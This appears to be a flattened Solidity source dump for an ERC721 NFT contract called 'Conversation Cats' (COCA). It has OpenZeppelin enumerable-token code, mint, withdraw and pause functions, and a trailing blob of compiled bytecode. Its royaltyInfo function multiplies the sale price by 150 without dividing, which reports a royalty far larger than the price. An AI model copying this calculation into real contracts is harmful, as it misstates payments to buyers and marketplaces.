IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/coca.sol pragma solidity ^0.8.4; contract COCA is ERC721Enumerable, ERC721Holder, IERC2981, Ownable, Pausable { using Counters for Counters.Counter; Counters.Counter private currentTokenId; uint256 public constant maxMintAmount = 5; uint256 public constant maxSupply = 1444; uint256 public constant mintPrice = 0.05 ether; constructor() ERC721("Conversation Cats", "COCA") { _pause(); } function mint(uint256 _mintAmount) public payable whenNotPaused { uint256 supply = totalSupply(); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply < maxSupply, "Max supply reached."); require(supply + _mintAmount <= maxSupply, "Request would exceed max supply."); require(msg.value >= mintPrice * _mintAmount, "Insufficient payment amount."); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function mintReserves(uint256 _mintAmount) public onlyOwner { uint256 supply = totalSupply(); require(_mintAmount > 0); require(_mintAmount < 50); require(supply + _mintAmount <= maxSupply, "Request would exceed max supply."); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(owner()).transfer(balance); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function royaltyInfo(uint256 , uint256 _salePrice) external pure override returns (address, uint256) { uint256 royaltyAmount = (_salePrice * 150); return (address(0xAbA66F8e2Efd52381d165C7aec8F3D855c10e3e0), royaltyAmount); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, IERC165) returns (bool) { return ERC721Enumerable.supportsInterface(interfaceId) || interfaceId == type(IERC165).interfaceId; } function contractURI() public pure returns (string memory) { return "https://arweave.net/yzIOS2TSMMugARZXQssxFZtlIE4iwFezm_xkkU2vIqc/conversation-cats-metadata"; } function _baseURI() internal pure override returns (string memory) { return "https://arweave.net/93nTEsTTXw4JXVw2QI1yKjCwZLcVpJyojcfeoWQLMlM/"; } }
0x6080604052600436106101685760003560e01c806301ffc9a71461016d57806306fdde03146101a2578063081812fc146101c4578063095ea7b3146101f1578063150b7a021461021357806318160ddd1461024c578063239c70ae1461026b57806323b872dd146102805780632a55205a146102a05780632f745c59146102df5780633ccfd60b146102ff5780633f4ba83a1461031457806342842e0e146103295780634f6ccce7146103495780635c975abb146103695780636352211e1461037e5780636817c76c1461039e57806370a08231146103b9578063715018a6146103d95780638456cb59146103ee5780638da5cb5b1461040357806395d89b4114610418578063a0712d681461042d578063a22cb46514610440578063b88d4fde14610460578063c87b56dd14610480578063ca57dfdd146104a0578063d5abeb01146104c0578063e8a3d485146104d6578063e985e9c5146104eb578063f2fde38b1461050b575b600080fd5b34801561017957600080fd5b5061018d610188366004611ce1565b61052b565b60405190151581526020015b60405180910390f35b3480156101ae57600080fd5b506101b7610557565b6040516101999190611e02565b3480156101d057600080fd5b506101e46101df366004611d1b565b6105e9565b6040516101999190611db1565b3480156101fd57600080fd5b5061021161020c366004611cb7565b610676565b005b34801561021f57600080fd5b5061023361022e366004611ba0565b610787565b6040516001600160e01b03199091168152602001610199565b34801561025857600080fd5b506008545b604051908152602001610199565b34801561027757600080fd5b5061025d600581565b34801561028c57600080fd5b5061021161029b366004611b64565b610798565b3480156102ac57600080fd5b506102c06102bb366004611d34565b6107c9565b604080516001600160a01b039093168352602083019190915201610199565b3480156102eb57600080fd5b5061025d6102fa366004611cb7565b6107f8565b34801561030b57600080fd5b5061021161088e565b34801561032057600080fd5b50610211610902565b34801561033557600080fd5b50610211610344366004611b64565b61093b565b34801561035557600080fd5b5061025d610364366004611d1b565b610956565b34801561037557600080fd5b5061018d6109e9565b34801561038a57600080fd5b506101e4610399366004611d1b565b6109f9565b3480156103aa57600080fd5b5061025d66b1a2bc2ec5000081565b3480156103c557600080fd5b5061025d6103d4366004611b16565b610a70565b3480156103e557600080fd5b50610211610af7565b3480156103fa57600080fd5b50610211610b30565b34801561040f57600080fd5b506101e4610b67565b34801561042457600080fd5b506101b7610b76565b61021161043b366004611d1b565b610b85565b34801561044c57600080fd5b5061021161045b366004611c7b565b610cd2565b34801561046c57600080fd5b5061021161047b366004611ba0565b610cdd565b34801561048c57600080fd5b506101b761049b366004611d1b565b610d15565b3480156104ac57600080fd5b506102116104bb366004611d1b565b610de0565b3480156104cc57600080fd5b5061025d6105a481565b3480156104e257600080fd5b506101b7610e8b565b3480156104f757600080fd5b5061018d610506366004611b31565b610eab565b34801561051757600080fd5b50610211610526366004611b16565b610ed9565b600061053682610f79565b8061055157506001600160e01b031982166301ffc9a760e01b145b92915050565b60606000805461056690611fda565b80601f016020809104026020016040519081016040528092919081815260200182805461059290611fda565b80156105df5780601f106105b4576101008083540402835291602001916105df565b820191906000526020600020905b8154815290600101906020018083116105c257829003601f168201915b5050505050905090565b60006105f482610f9e565b61065a5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610681826109f9565b9050806001600160a01b0316836001600160a01b031614156106ef5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610651565b336001600160a01b038216148061070b575061070b8133610eab565b6107785760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776044820152771b995c881b9bdc88185c1c1c9bdd995908199bdc88185b1b60421b6064820152608401610651565b6107828383610fbb565b505050565b630a85bd0160e11b5b949350505050565b6107a23382611029565b6107be5760405162461bcd60e51b815260040161065190611ec6565b6107828383836110eb565b600080806107d8846096611f78565b73aba66f8e2efd52381d165c7aec8f3d855c10e3e0969095509350505050565b600061080383610a70565b82106108655760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610651565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b33610897610b67565b6001600160a01b0316146108bd5760405162461bcd60e51b815260040161065190611e91565b476108c6610b67565b6001600160a01b03166108fc829081150290604051600060405180830381858888f193505050501580156108fe573d6000803e3d6000fd5b5050565b3361090b610b67565b6001600160a01b0316146109315760405162461bcd60e51b815260040161065190611e91565b610939611280565b565b61078283838360405180602001604052806000815250610cdd565b600061096160085490565b82106109c45760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610651565b600882815481106109d7576109d7612086565b90600052602060002001549050919050565b600a54600160a01b900460ff1690565b6000818152600260205260408120546001600160a01b0316806105515760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610651565b60006001600160a01b038216610adb5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610651565b506001600160a01b031660009081526003602052604090205490565b33610b00610b67565b6001600160a01b031614610b265760405162461bcd60e51b815260040161065190611e91565b6109396000611312565b33610b39610b67565b6001600160a01b031614610b5f5760405162461bcd60e51b815260040161065190611e91565b610939611364565b600a546001600160a01b031690565b60606001805461056690611fda565b610b8d6109e9565b15610baa5760405162461bcd60e51b815260040161065190611e67565b6000610bb560085490565b905060008211610bc457600080fd5b6005821115610bd257600080fd5b6105a48110610c195760405162461bcd60e51b815260206004820152601360248201527226b0bc1039bab838363c903932b0b1b432b21760691b6044820152606401610651565b6105a4610c268383611f4c565b1115610c445760405162461bcd60e51b815260040161065190611f17565b610c558266b1a2bc2ec50000611f78565b341015610ca35760405162461bcd60e51b815260206004820152601c60248201527b24b739bab33334b1b4b2b73a103830bcb6b2b73a1030b6b7bab73a1760211b6044820152606401610651565b60015b82811161078257610cc033610cbb8385611f4c565b6113c4565b80610cca81612015565b915050610ca6565b6108fe3383836113de565b610ce73383611029565b610d035760405162461bcd60e51b815260040161065190611ec6565b610d0f848484846114a9565b50505050565b6060610d2082610f9e565b610d845760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610651565b6000610d8e6114dc565b90506000815111610dae5760405180602001604052806000815250610dd9565b80610db8846114fc565b604051602001610dc9929190611d82565b6040516020818303038152906040525b9392505050565b33610de9610b67565b6001600160a01b031614610e0f5760405162461bcd60e51b815260040161065190611e91565b6000610e1a60085490565b905060008211610e2957600080fd5b60328210610e3657600080fd5b6105a4610e438383611f4c565b1115610e615760405162461bcd60e51b815260040161065190611f17565b60015b82811161078257610e7933610cbb8385611f4c565b80610e8381612015565b915050610e64565b60606040518060800160405280605a8152602001612109605a9139905090565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b33610ee2610b67565b6001600160a01b031614610f085760405162461bcd60e51b815260040161065190611e91565b6001600160a01b038116610f6d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610651565b610f7681611312565b50565b60006001600160e01b0319821663780e9d6360e01b14806105515750610551826115f9565b6000908152600260205260409020546001600160a01b0316151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610ff0826109f9565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061103482610f9e565b6110955760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610651565b60006110a0836109f9565b9050806001600160a01b0316846001600160a01b031614806110db5750836001600160a01b03166110d0846105e9565b6001600160a01b0316145b8061079057506107908185610eab565b826001600160a01b03166110fe826109f9565b6001600160a01b0316146111625760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b6064820152608401610651565b6001600160a01b0382166111c45760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610651565b6111cf838383611649565b6111da600082610fbb565b6001600160a01b0383166000908152600360205260408120805460019290611203908490611f97565b90915550506001600160a01b0382166000908152600360205260408120805460019290611231908490611f4c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03868116918217909255915184939187169160008051602061216383398151915291a4505050565b6112886109e9565b6112cb5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610651565b600a805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516113089190611db1565b60405180910390a1565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61136c6109e9565b156113895760405162461bcd60e51b815260040161065190611e67565b600a805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586112fb3390565b6108fe828260405180602001604052806000815250611701565b816001600160a01b0316836001600160a01b0316141561143c5760405162461bcd60e51b815260206004820152601960248201527822a9219b99189d1030b8383937bb32903a379031b0b63632b960391b6044820152606401610651565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6114b48484846110eb565b6114c084848484611734565b610d0f5760405162461bcd60e51b815260040161065190611e15565b60606040518060600160405280604081526020016120c960409139905090565b6060816115205750506040805180820190915260018152600360fc1b602082015290565b8160005b811561154a578061153481612015565b91506115439050600a83611f64565b9150611524565b6000816001600160401b038111156115645761156461209c565b6040519080825280601f01601f19166020018201604052801561158e576020820181803683370190505b5090505b8415610790576115a3600183611f97565b91506115b0600a86612030565b6115bb906030611f4c565b60f81b8183815181106115d0576115d0612086565b60200101906001600160f81b031916908160001a9053506115f2600a86611f64565b9450611592565b60006001600160e01b031982166380ac58cd60e01b148061162a57506001600160e01b03198216635b5e139f60e01b145b8061055157506301ffc9a760e01b6001600160e01b0319831614610551565b6001600160a01b0383166116a45761169f81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6116c7565b816001600160a01b0316836001600160a01b0316146116c7576116c7838261183e565b6001600160a01b0382166116de57610782816118db565b826001600160a01b0316826001600160a01b03161461078257610782828261198a565b61170b83836119ce565b6117186000848484611734565b6107825760405162461bcd60e51b815260040161065190611e15565b60006001600160a01b0384163b1561183657604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611778903390899088908890600401611dc5565b602060405180830381600087803b15801561179257600080fd5b505af19250505080156117c2575060408051601f3d908101601f191682019092526117bf91810190611cfe565b60015b61181c573d8080156117f0576040519150601f19603f3d011682016040523d82523d6000602084013e6117f5565b606091505b5080516118145760405162461bcd60e51b815260040161065190611e15565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610790565b506001610790565b6000600161184b84610a70565b6118559190611f97565b6000838152600760205260409020549091508082146118a8576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906118ed90600190611f97565b6000838152600960205260408120546008805493945090928490811061191557611915612086565b90600052602060002001549050806008838154811061193657611936612086565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061196e5761196e612070565b6001900381819060005260206000200160009055905550505050565b600061199583610a70565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611a245760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610651565b611a2d81610f9e565b15611a795760405162461bcd60e51b815260206004820152601c60248201527b115490cdcc8c4e881d1bdad95b88185b1c9958591e481b5a5b9d195960221b6044820152606401610651565b611a8560008383611649565b6001600160a01b0382166000908152600360205260408120805460019290611aae908490611f4c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386169081179091559051839290600080516020612163833981519152908290a45050565b80356001600160a01b0381168114611b1157600080fd5b919050565b600060208284031215611b2857600080fd5b610dd982611afa565b60008060408385031215611b4457600080fd5b611b4d83611afa565b9150611b5b60208401611afa565b90509250929050565b600080600060608486031215611b7957600080fd5b611b8284611afa565b9250611b9060208501611afa565b9150604084013590509250925092565b60008060008060808587031215611bb657600080fd5b611bbf85611afa565b9350611bcd60208601611afa565b92506040850135915060608501356001600160401b0380821115611bf057600080fd5b818701915087601f830112611c0457600080fd5b813581811115611c1657611c1661209c565b604051601f8201601f19908116603f01168101908382118183101715611c3e57611c3e61209c565b816040528281528a6020848701011115611c5757600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60008060408385031215611c8e57600080fd5b611c9783611afa565b915060208301358015158114611cac57600080fd5b809150509250929050565b60008060408385031215611cca57600080fd5b611cd383611afa565b946020939093013593505050565b600060208284031215611cf357600080fd5b8135610dd9816120b2565b600060208284031215611d1057600080fd5b8151610dd9816120b2565b600060208284031215611d2d57600080fd5b5035919050565b60008060408385031215611d4757600080fd5b50508035926020909101359150565b60008151808452611d6e816020860160208601611fae565b601f01601f19169290920160200192915050565b60008351611d94818460208801611fae565b835190830190611da8818360208801611fae565b01949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611df890830184611d56565b9695505050505050565b602081526000610dd96020830184611d56565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252818101527f5265717565737420776f756c6420657863656564206d617820737570706c792e604082015260600190565b60008219821115611f5f57611f5f612044565b500190565b600082611f7357611f7361205a565b500490565b6000816000190483118215151615611f9257611f92612044565b500290565b600082821015611fa957611fa9612044565b500390565b60005b83811015611fc9578181015183820152602001611fb1565b83811115610d0f5750506000910152565b600181811c90821680611fee57607f821691505b6020821081141561200f57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561202957612029612044565b5060010190565b60008261203f5761203f61205a565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610f7657600080fdfe68747470733a2f2f617277656176652e6e65742f39336e54457354545877344a58567732514931794b6a43775a4c6356704a796f6a6366656f57514c4d6c4d2f68747470733a2f2f617277656176652e6e65742f797a494f533254534d4d756741525a5851737378465a746c494534697746657a6d5f786b6b5532764971632f636f6e766572736174696f6e2d636174732d6d65746164617461ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220f87eb08241df03c01b45c93174da1ddf5f15697168f98d49454abfbaf068f23964736f6c63430008070033
[ 5 ]